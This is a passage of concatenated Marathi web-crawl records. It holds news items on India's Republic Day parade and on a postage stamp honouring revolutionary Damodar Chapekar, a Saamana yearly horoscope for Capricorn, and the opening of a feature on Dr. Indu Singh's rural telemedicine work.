सन्मानित\nनाशिक जिल्ह्यात दोन शेतकऱ्यांची आत्महत्या\nराजकारणाचे गुन्हेगारीकरण गंभीर समस्या: SC\nLive स्कोअरकार्ड: भारत Vs. अफगाणिस्तान\nभिंद्रनवालेला संत संबोधणे शोकांतिका: बिट्टा\n२०० वनडेंत भारताचे नेतृत्व; धोनी पुन्हा कॅप्टन\nग्रामीण मुलींना १२वी पर्यंत STचा मोफत प्रवास\nकाँग्रेस भारताबाहेरील मित्राच्या शोधात: मोदी\nMT न्यूज अलर्टसाठी सबस्क्राइब करा\nटाइम्समधील महत्त्वाच्या बातम्या आणि ब्रेकिंग न्यूजचे नोटिफिकेशन्स लगेचच मिळवा.\n* ब्राऊसर सेटिंग्समध्ये जाऊन तुम्ही नोटिफिकेशन्स कधीही बंदही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00278.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/national/article-246729.html", "date_download": "2018-09-25T17:05:33Z", "digest": "sha1:XVFI5UFEHP5VCDWP3VFVDZHY6FEKIR43", "length": 13153, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "राजपथावर घडलं भारताच्या सामर्थ्याचं, संस्कृतीचं दर्शन", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nराजपथावर घडलं भारताच्या सामर्थ्याचं, संस्कृतीचं दर्शन\n26 जानेवारी : भारताचा 68वा प्रजासत्ताक दिन मोठ्या उत्साहात आज (गुरुवारी) दिल्लीतील राजपथावर संपन्न झाला. यावेळी भारतीय सैन्य जगाला आपल्या सामर्थ्याचे दर्शन घडवलं. शिस्तबद्ध संचलन आणि श्वास रोखायला लावून धरायला लावणाऱ्या प्रात्यक्षिकांनी उपस्थितांच्या डोळ्यांचे पारणे फेडले. यासोबतच राज्य सरकार आणि केंद्राचे विविध चित्ररथदेखील उपस्थितांच्या आकर्षणाचे केंद्रबिंदू होतं.\nअबूधाबीचे राजपुत्र शेख मोहम्मद बिन झायेद अल नाह्यान राजपथावरील प्रजासत्ताक दिनाच्या सोहळ्याचे प्रमुख पाहुणे होते. राजपुत्र शेख मोहम्मद बिन झायेद अल नाह्यान यांचे पंतप्रधान नरेंद्र मोदी आणि राष्ट्रपती प्रणव मुखर्जी यांनी राजपथावर स्वागत केलं.\nनॅशनल सिक्युरिटी गार्डच्या कमांडोंनी पहिल्यांदाच राजपथावर संचलन करत सर्वांचे लक्ष वेधून घेतलं. यासोबतच संयुक्त अरब अमिरातीच्या 179 सैनिकांनी केलेले संचन हे यंदाच्या राजपथावरील प्रजासत्ताक दिनाच्या सोहळ्याचं आणखीन एक वैशिष्ट्य होतं.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: Republic DayUAEप्रजासत्ताक दिनप्रमुख पाहुणेयूएई\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00279.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%A4%E0%A4%BF%E0%A4%B5%E0%A5%80%E0%A4%B0-%E0%A4%A6%E0%A4%BE%E0%A4%AE%E0%A5%8B%E0%A4%A6%E0%A4%B0-%E0%A4%B9%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BE/", "date_download": "2018-09-25T17:57:54Z", "digest": "sha1:7IUHAQQGUT6EICFGPPF23CVJ3JOENXWW", "length": 15357, "nlines": 75, "source_domain": "pclive7.com", "title": "क्रांतिवीर दामोदर हरी चापेकर यांच्या टपाल तिकिटाचे अनावरण | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड क्रांतिवीर दामोदर हरी चापेकर यांच्या टपाल तिकिटाचे अनावरण\nक्रांतिवीर दामोदर हरी चापेकर यांच्या टपाल तिकिटाचे अनावरण\nपिंपरी (Pclive7.com):- क्रांतिवीर दामोदर चापेकर यांच्या नावाने टपाल तिकीट सुरु होणे ही केवळ उत्सवाची बाब नाही. तर टपाल तिकिटाच्या माध्यमातून त्यांना वाहिलेली खरी आदरांजली आहे. त्यांचा इतिहास यानिमित्ताने संपूर्ण देशभरात वारंवार पोहोचणार आहे. असे मत लोकसभेच्या सभापती सुमित्रा महाजन यांनी व्यक्त केले.\nचिंचवड मधील क्रांतिवीर चापेकर वाड्यात सभापती सुमित्रा महाजन यांच्या हस्ते टपाल तिकीट अनावरण सोहळा पार पडला. यावेळी त्या बोलत होत्या. कार्यक्रमासाठी केंद्रीय गृहराज्यमंत्री हंसराज अहिर, पुण्याचे पालकमंत्री गिरीश बापट, महापौर नितीन काळजे, मावळ लोकसभा मतदार संघाचे खासदार श्रीरंग बारणे, शिरुरचे खासदार शिवाजीराव आढळराव पाटील, राज्यसभेचे खासदार अमर साबळे, आमदार अॅड. गौतम चाबुकस्वार, महाराष्ट्र व गोवा राज्याचे मुख्य पोस्टमास्तर हरिश अगरवाल, चापेकर स्मारक समितीचे अध्यक्ष गिरीश प्रभुणे, कार्यवाह सतीश गोरडे, सह कार्यवाह रवी नामदे, राष्ट्रीय स्वयंसेवक संघाचे मिलिंद देशपांडे, विलास लांडगे, विनायक थोरात, मुकुंद कुलकर्णी, गजानन चिंचवडे, नगरसेविका अश्विनी चिंचवडे, अनुराधा गोरखे, नगरसेवक माऊली थोरात, अॅड. सचिन भोसले, नारायण बहिरवाडे आदी उपस्थित होते.\nसुमित्रा महाजन म्हणाल्या, अटलबिहारी वाजपेयी पंतप्रधान असताना क्रांतिवीर चापेकरांचे चित्र सेंट्रल सभागृहात लावण्यात आले. त्यानंतर नरेंद्र मोदींच्या कार्यकाळात क्रांतिवीर चापेकर यांच्या स्मृतिप्रीत्यर्थ टपाल तिकिट सुरु आले. ही त्यांच्याप्रती सरकारने व्यक्त केलेली खरी कृतज्ञता आहे. भारतीय स्वातंत्र्यलढ्यासाठी योगदान दिलेल्या प्रत्येक स्वातंत्र्यसैनिकांप्रती आपण कृतज्ञ असायला हवे. आपला इतिहास वेळोवेळी आपल्या स्मृतीत असायला हवा. देशाप्रती आणि देशवीरांप्रती आदराची भावना असायला हवी. राष्ट्रभक्ती आणि कामाची निष्ठा यातून अनेक गोष्टी साकार होतात. खासदार श्रीरंग बारणे यांच्याकडे कामाची निष्ठा आहे. ते लोकसभेत आग्रहाने प्रश्न विचारतात. प्रश्न मांडण्यासाठी आणि प्रश्न मांडल्यानंतर तो तडीस नेण्यासाठी वारंवार पाठपुरावा करतात. अशी कामे कुणाकडूनही होत नाहीत. कारण ‘तिथे पाहिजे राष्ट्रभक्तीचे माप’ असे गौरवोद्गार काढत त्यांनी खासदार बारणे यांच्या कामाची स्तुती केली.\nसध्या पोस्टल खात्याला मृतावस्था आली आहे. कारण आपण पत्र लिहायला विसरलो आहोत. आपल्या जवळच्या माणसांना बोलायला आपल्याला वेळ नाही आणि शेकडो मैल दूर असणा-या अज्ञात मित्रांना आपण धन्यता मानू लागलो, त्यामुळे ही अवस्था झाली आहे. आपल्या लोकांसोबतच संवाद हरवत चालला आहे. तो पुन्हा पूर्ववत होणे आवश्यक आहे. आपण आपल्या माणसांना आपल्या मनातल्या गोष्टी लिहिल्या तर मन मोकळे होते. मन मोकळे होणे ही आजच्या काळाची गरज आहे, असेही सुमित्रा महाजन म्हणाल्या.\nखासदार बारणे म्हणाले, क्रांतीवीर चापेकर बंधुचा इतिहास संपूर्ण देशभर प्रसिध्द आहे. एकाच परिवारातील तीन भावंडे स्वातंत्र्य संग्रामासाठी शहीद झाले होते. क्रांतीवीर चापेकरांच्या नावाने पोस्टाचे तिकीट काढण्याबाबत मी गेली तीन वर्ष पाठपुरावा करत होतो. चापेकरांच्या स्वातंत्र्य संग्रामाचे सर्व पुरावे संबंधित मंत्रालयात दिले होते. संसदेतील पाठपुराव्यासाठी केंद्रीय मंत्री हंसराज अहिर यांचे मोठ्या प्रमाणात सहकार्य केले. गिरीश प्रभुणे यांनी सर्व कागदपत्रांची पूर्तता केली. केंद्र सरकारने दामोदर हरी चापेकर यांच्या नावाने पोस्टाचे तिकीट काढण्यास परवानगी दिली. आज त्या सर्व पाठपुराव्याचे चीज झाल्याची भावना निर्माण झाली आहे.\nगिरीश बापट म्हणाले, देशाच्या इतिहासात चापेकर अजरामर आहेत. जेंव्हा जेंव्हा आपण चापेकरांचे तिकीट दिसेल तेंव्हा तेंव्हा त्यांचा संपूर्ण इतिहास डोळ्यासमोर येईल. अनेकजण राजकीय तिकिटांच्या मागे असतात. पण अशा इतिहासाची आठवण करून देणा-या टपाल तिकिटांच्या मागे फार कमीजण असतात. त्यातील एक खासदार बारणे आहेत. देशासाठी बलिदान देणा-या शहिदांना अशा प्रकारच्या उपक्रमांमधून आदरांजली वाहता येईल. आम्ही स्वातंत्र्य मिळवून दिले, ते तुम्ही आता चांगल्या प्रकारे टिकवून ठेवा, ही भावना प्रत्येक स्वातंत्र्य सैनिकांकडे बघून मनात येते. चापेकर स्मारक समितीचे काम देखील वाखाणण्याजोगे आहे, असेही गिरीश बापट म्हणाले.\nकेंद्रीय मंत्री हंसराज अहिर म्हणाले, क्रांतिवीर चापेकर यांच्यावरील पोस्टाचे तिकीट वेळेअभावी सभापती सुमित्रा महाजन यांच्या कक्षात करण्याचे ठरले होते. मात्र क्रांतिवीरांच्या भूमीत जाऊन त्यांच्यावरील टपाल तिकिटाचे अनावरण करावे, अशी भूमिका सभापती सुमित्रा महाजन यांनी मांडली. त्यानिमित्ताने पुन्हा एकदा चापेकरांच्या भूमीत येण्याचा योग आला. पुण्याला खूप मोठा ऐतिहासिक वारसा लाभला आहे. अनेक स्वातंत्र्य सैनिक या भूमीत होऊन गेले आहेत. त्यांचे स्मरण यानिमित्ताने होत आहे.\nपिंपळे सौदागरमध्ये दिंडी सोहळा संपन्न; प्लास्टिक बंदी – पर्यावरण विषयी केली जनजागृती\nपिंपरी चिंचवड काँग्रेसमध्ये भूकंप; संपूर्ण शहर कार्यकारिणीने दिले सामुदायिक राजीनामे\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00280.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/capricorn-makar-2/", "date_download": "2018-09-25T17:19:40Z", "digest": "sha1:GUH7PGHXE2FEOVBOMO6CZVU2UXBMALQG", "length": 23330, "nlines": 265, "source_domain": "www.saamana.com", "title": "मकर | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमुख्यपृष्ठ देव-धर्म वार्षिक भविष्य\n“माणूस शक्तिमान व बुद्धिमान असल्यास इतर माणसे त्याला वश होतात व तो जर कमी शक्तिमान व निर्बुद्ध असेल तर ते त्याचे शत्रू बनतात.’’\nयश व अपयश या मार्गातून तुमची वाटचाल सुरू आहे. तुमचा स्वतःचा वेग, कामाचा वेग फार मोठा असतो; परंतु त्याला वेसण घातली आहे ग्रहांनी. आता चिंता कमी होईल. नवी दिशा व नवा विचार दिवाळी तुम्हाला देणार आहे. संघर्ष आहे. क्षेत्र कोणतेही असो यश खेचून आणता येईल ते प्रयत्नाने. दिवाळीचे सर्व दिवस तुमच्या उत्साहाचे असतील. तुमच्या दैवताचे स्मरण हेच तुमच्या प्रगतीचे वैभव ठरू शकेल. नवा आरंभ दिवाळीत होईल. भाऊबीजेला शुभ संकेत मिळेल. वर्षभर कन्या राशीत म्हणजे मकरेच्या भाग्य स्थानात वास्तव्य करणार आहे. तुमचे जटिल प्रश्न सोडवण्याचा प्रयत्न करा. २६ जानेवारी २०१७ला शनि धनु राशीत म्हणजे मकरेच्या व्ययस्थानात प्रवेश करीत आहे. मकर राशीला साडेसाती २६ जाने.ला सुरू होत आहे. २० जून ते २५ ऑक्टोबरला शनि वक्री होऊन वृश्चिकेत येत आहे. २६ ऑक्टोबर २०१७ शनि मार्गी होऊन धनु राशीत आहे. १८ ऑगस्ट २०१७ राहू कर्क राशीत म्हणजे मकरेच्या सप्तम स्थानात व केतु (मकर राशीत) स्वराशीत प्रवेश करीत आहे. १२ सप्टें. २०१७ ला गुरू तुला राशीत प्रवेश करीत आहे. समस्या येतील त्यावर मार्ग मिळेल. कौटुंबिक सुखात अडचणी येतील. जीवनसाथीच्या कडील चिंता वाढेल. राजकीय-सामाजिक क्षेत्रांत विरोधकांना शह देऊन काम करावे लागेल. ‘एक घाव दोन तुकडे’ हा विचार करण्याची वेळ तुमच्यावर येऊ शकते. संयमाने कृती करा. शक्य तेच करा. भलतेच आश्वासन देऊन स्वतः अडचणीत येऊ नका. स्वतःच्या असो किंवा दुसऱयाच्या चुका समजून घ्या व त्यावर उत्तर शोधा. जून ते ऑक्टोबर कालावधी तुमच्या यशोगाथेचा ठरेल. तुमच्या क्षेत्रात तुमचा मोठा भाग्योदय होऊ शकतो. न झालेले काम होईल. पुढील भविष्याचे विवेचन पुढे पाहूया.\nराजकीय-सामाजिक क्षेत्रांत व्यापक स्वरूपात कार्य होईल. तुमच्या योजना मार्गी लागतील. दौऱयात यश व लोकप्रियता मिळेल. महिला, मुले, अपंग यांच्यासाठी विशेष स्वरूपाचे कार्य होऊ शकेल. आर्थिक मदत मिळेल. वरिष्ठ सहकार्य देतील.\n२६ जानेवारी ते २० जून शनिची साडेसाती असेल. डिसेंबर, जानेवारी, मे व जूनमध्ये आरोप होतील. टीका होईल. तुम्हाला एखाद्या प्रकरणाचा मनस्ताप होईल. अपमानास्पद वागणूक सहन करावी लागेल. गुप्तशत्रूंना मात्र कमी लेखू नका. सावध रहा. ऑक्टोबर, मार्च व मेमध्ये प्रवासात सावध रहा. कोर्टकचेरीच्या कामात अडचणी येतील. संताप वाढेल. संघर्षातून तुमच्या यशाला दिशा मिळेल. फेब्रुवारी, मार्च, एप्रिलमध्ये मान-सन्मानाचा योग येईल. मेमध्ये विशेष यश मिळेल. जुलैमध्ये महिला वर्गाच्या सहयोगाने कार्य होईल.\nशेतकरी वर्गाच्या समस्या कमी होतील. खरेदी-विक्रीत ऑक्टोबर, नोव्हेंबर, फेब्रुवारी, मार्चमध्ये फायदा होईल. नव्या पद्धतीने शेतीची उन्नती करू शकाल. नोकरीत चांगली प्रगती या वर्षात होईल. परदेशी जाण्याचा योग येईल. तुमचे प्रोजेक्ट प्रसिद्धीला येतील. साडेसातीत माणूस अधिक अनुभवी होतो. विविध प्रकारची माणसे भेटतात व विविध प्रसंगाला सामोरे जावे लागते. मकर रास शनिची आहे त्यामुळे त्यांना कमी त्रास होतो. नेहमीच मर्यादेत राहिलेल्या माणसाला परिणामांची कल्पना असते. डिसेंबर, जानेवारी, जून व ऑगस्टमध्ये व्यवसायाला चांगली कलाटणी मिळेल. थोरामोठय़ांच्या ओळखी होतील. परदेशात व्यवसाय वाढू शकतो. कायद्याच्या बाबतीत सावध रहा.\nमागील वर्षात घेतलेल्या अभ्यासातील कष्टांमुळे या वर्षातसुद्धा भव्यदिव्य यश तुम्हाला मिळेल. डिसेंबर, जानेवारी व जूनच्या परीक्षेसाठी जास्त मेहनत करा. वाद वाढवू नका. ऑक्टोबर-मेमध्ये वाहनापासून धोका होऊ शकतो. ऑगस्टमध्ये खाण्याची काळजी घ्या. तुम्ही सध्या कुणावर विश्वास ठेवत नाही. परंतु गोड बोलण्याऱया व्यक्तीपासून धोका राहील. जुलैमध्ये प्रेमात तणाव होईल. या वर्षात तुमचा आत्मविश्वास व उत्साह वाढणार आहे. तुमच्या क्षेत्रात अधिक चांगली उन्नती तुम्ही करू शकाल.\nस्पष्ट बोलणे कधी कधी तुम्हाला त्रासदायक ठरते. तुम्ही मेहनती आहात. सर्वांची काळजी घेणारा तुमचा स्वभाव आहे. मुलांचे अतिलाड तुम्ही करता. कौटुंबिक सुखात या वर्षात भर पडेल. वृद्ध व्यक्तींची चिंता असेल. संततीच्या प्रगतीची बातमी मिळेल. नवीन घर, वाहन इ. खरेदी होईल. ऑक्टोबरमध्ये मनावर दडपण येईल आणि मेमध्ये शेजारी, आप्तेष्ट यांच्यात तणाव होईल. ऑगस्टमध्ये प्रकृतीची काळजी वाटेल. ऑपरेशनची शक्यता. या वर्षात तुमच्या क्षेत्रात तुम्ही नव्या वाटेने वाटचाल मात्र कराल.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00280.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/145bae56ca/dr-villages-of-telemedicine-delivery-indu-singh-stories-that-v-meditekaci", "date_download": "2018-09-25T17:56:43Z", "digest": "sha1:24GFAJZXKZBLXTA66WRC4VBAMOVYMGHL", "length": 19724, "nlines": 119, "source_domain": "marathi.yourstory.com", "title": "टेलिमेडिसिन गावागावात पोहोचवणा-या डॉ. इंदू सिंग; कथा जी. व्ही. मेडिटेकची", "raw_content": "\nटेलिमेडिसिन गावागावात पोहोचवणा-या डॉ. इंदू सिंग; कथा जी. व्ही. मेडिटेकची\nआपल्या देशात आरोग्याच्या समस्येनं उग्र रूप धारणं केलेलं आहे. देशात मोठमोठी, महागडी पंचतारांकित रुग्णालयं उभी रहात आहेत. सार्वजनिक सरकारी रुग्णालयांची संख्या लोकसंख्येच्या तुलनेत रोडावत चालली आहे. गरीब आणि सर्वसामान्यांसाठी वैद्यकीय सेवा अधिकाधिक दूर जात आहेत. एकूणच काय तर धंदेवाईकपणा आलेल्या आजच्या वैद्यकीय सेवेमुळं सर्वसामान्यांच्या हक्कावर गदा आणली आहे. ही स्थिती शहरातली आहे. मग ग्रामीण भाग आणि खेड्यातल्या वैद्यकीय सोईसुविधेबाबत न बोललेलच बरं. अशा स्थितीत उत्तरप्रदेश,बिहार आणि झारखंडसारख्या मागासलेल्या राज्यांमध्ये डॉ. इंदू सिंग यांनी वैद्यकीय सेवेचं व्रत अंगीकारलय. उच्च तंत्रज्ञानाच्य़ा मदतीनं अतिशय उत्तमदर्जाची वैदकीय सेवा देण्याचा त्यांचा प्रयत्न आश्चर्यानं आवाक् करणाराही आहे आणि वैद्यकीय सेवा देणाऱ्यांना प्रेरणा देणाराही. रूग्णांची काळजी वाहणा-या करूणाह्रदयी डॉ. इंदू सिंग यांच्या टेलिमेडिसिनचा हा वृत्तांत.\nग्रामीण रुग्णांची सेवा करताना डॉ. इंदू सिंग\nग्रामीण रुग्णांची सेवा करताना डॉ. इंदू सिंग\nशहरांच्या आजुबाजुला, विशेषतःबनारस शहराच्या आसपास असलेल्या गावांमध्ये होणारं शहरीकरण आणि स्थलांतर या गोष्टी आता अगदी सामान्य बनल्या आहेत. रोजगाराच्या शोधात अधिकाधिक तरूण आपली गावं सोडून शहरांक़डं जाताना दिसत आहेत. या परिस्थितीमुळं गावांमध्ये आता स्त्रिया, लहान 